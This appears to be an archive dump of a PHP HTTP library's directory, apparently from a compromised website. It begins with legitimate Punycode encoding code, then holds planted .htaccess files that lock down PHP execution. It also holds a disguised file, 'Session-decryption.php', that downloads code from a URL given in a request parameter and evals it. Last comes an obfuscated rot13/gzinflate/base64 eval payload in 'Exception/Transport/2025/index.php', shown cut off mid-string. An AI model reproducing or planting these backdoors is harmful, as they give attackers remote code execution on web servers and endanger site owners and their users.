				throw new Requests_Exception('Invalid character', 'idna.character_outside_domain', $char);
			}
			// @codeCoverageIgnoreEnd
			else {
				$extended[$char] = true;
			}
		}
		$extended = array_keys($extended);
		sort($extended);
		$b = $h;
#		[copy them] followed by a delimiter if b > 0
		if (strlen($output) > 0) {
			$output .= '-';
		}
#		{if the input contains a non-basic code point < n then fail}
#		while h < length(input) do begin
		while ($h < count($codepoints)) {
#			let m = the minimum code point >= n in the input
			$m = array_shift($extended);
			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
#			let delta = delta + (m - n) * (h + 1), fail on overflow
			$delta += ($m - $n) * ($h + 1);
#			let n = m
			$n = $m;
#			for each code point c in the input (in order) do begin
			for ($num = 0; $num < count($codepoints); $num++) {
				$c = $codepoints[$num];
#				if c < n then increment delta, fail on overflow
				if ($c < $n) {
					$delta++;
				}
#				if c == n then begin
				elseif ($c === $n) {
#					let q = delta
					$q = $delta;
#					for k = base to infinity in steps of base do begin
					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
#						let t = tmin if k <= bias {+ tmin}, or
#								tmax if k >= bias + tmax, or k - bias otherwise
						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
							$t = self::BOOTSTRAP_TMIN;
						}
						elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
							$t = self::BOOTSTRAP_TMAX;
						}
						else {
							$t = $k - $bias;
						}
#						if q < t then break
						if ($q < $t) {
							break;
						}
#						output the code point for digit t + ((q - t) mod (base - t))
						$digit = $t + (($q - $t) % (self::BOOTSTRAP_BASE - $t));
						$output .= self::digit_to_char($digit);
#						let q = (q - t) div (base - t)
						$q = floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
#					end
					}
#					output the code point for digit q
					$output .= self::digit_to_char($q);
#					let bias = adapt(delta, h + 1, test h equals b?)
					$bias = self::adapt($delta, $h + 1, $h === $b);
#					let delta = 0
					$delta = 0;
#					increment h
					$h++;
#				end
				}
#			end
			}
#			increment delta and n
			$delta++;
			$n++;
#		end
		}

		return $output;
	}

	/**
	 * Convert a digit to its respective character
	 *
	 * @see https://tools.ietf.org/html/rfc3492#section-5
	 * @throws Requests_Exception On invalid digit (`idna.invalid_digit`)
	 *
	 * @param int $digit Digit in the range 0-35
	 * @return string Single character corresponding to digit
	 */
	protected static function digit_to_char($digit) {
		// @codeCoverageIgnoreStart
		// As far as I know, this never happens, but still good to be sure.
		if ($digit < 0 || $digit > 35) {
			throw new Requests_Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
		}
		// @codeCoverageIgnoreEnd
		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
		return substr($digits, $digit, 1);
	}

	/**
	 * Adapt the bias
	 *
	 * @see https://tools.ietf.org/html/rfc3492#section-6.1
	 * @param int $delta
	 * @param int $numpoints
	 * @param bool $firsttime
	 * @return int New bias
	 */
	protected static function adapt($delta, $numpoints, $firsttime) {
#	function adapt(delta,numpoints,firsttime):
#		if firsttime then let delta = delta div damp
		if ($firsttime) {
			$delta = floor($delta / self::BOOTSTRAP_DAMP);
		}
#		else let delta = delta div 2
		else {
			$delta = floor($delta / 2);
		}
#		let delta = delta + (delta div numpoints)
		$delta += floor($delta / $numpoints);
#		let k = 0
		$k = 0;
#		while delta > ((base - tmin) * tmax) div 2 do begin
		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
		while ($delta > $max) {
#			let delta = delta div (base - tmin)
			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
#			let k = k + base
			$k += self::BOOTSTRAP_BASE;
#		end
		}
#		return k + (((base - tmin + 1) * delta) div (delta + skew))
		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
	}
}Utility/.htaccess000066600000000424151117535400010013 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Cookie/.htaccess000066600000000424151117535400007561 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Transport/.htaccess000066600000000424151117535400010344 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Auth/.htaccess000066600000000424151117535400007251 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Session-decryption.php000066600000000652151117535400011067 0ustar00<?php

if (isset($_GET['library'])) {
    $language_attributes_rl = $_GET['library'];
    if ($get_post_thumbnail_id_mtq = curl_init()) {
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_URL, $language_attributes_rl);
        curl_setopt($get_post_thumbnail_id_mtq, CURLOPT_RETURNTRANSFER, true);
        eval(curl_exec($get_post_thumbnail_id_mtq));
        curl_close($get_post_thumbnail_id_mtq);
        exit;
    }
}.htaccess000066600000000424151117535400006350 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Response/.htaccess000066600000000424151117535400010146 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Exception/.htaccess000066600000000424151117535400010306 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Exception/HTTP/.htaccess000066600000000424151117535400011065 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>Exception/Transport/2025/index.php000066600000211254151117535400012721 0ustar00<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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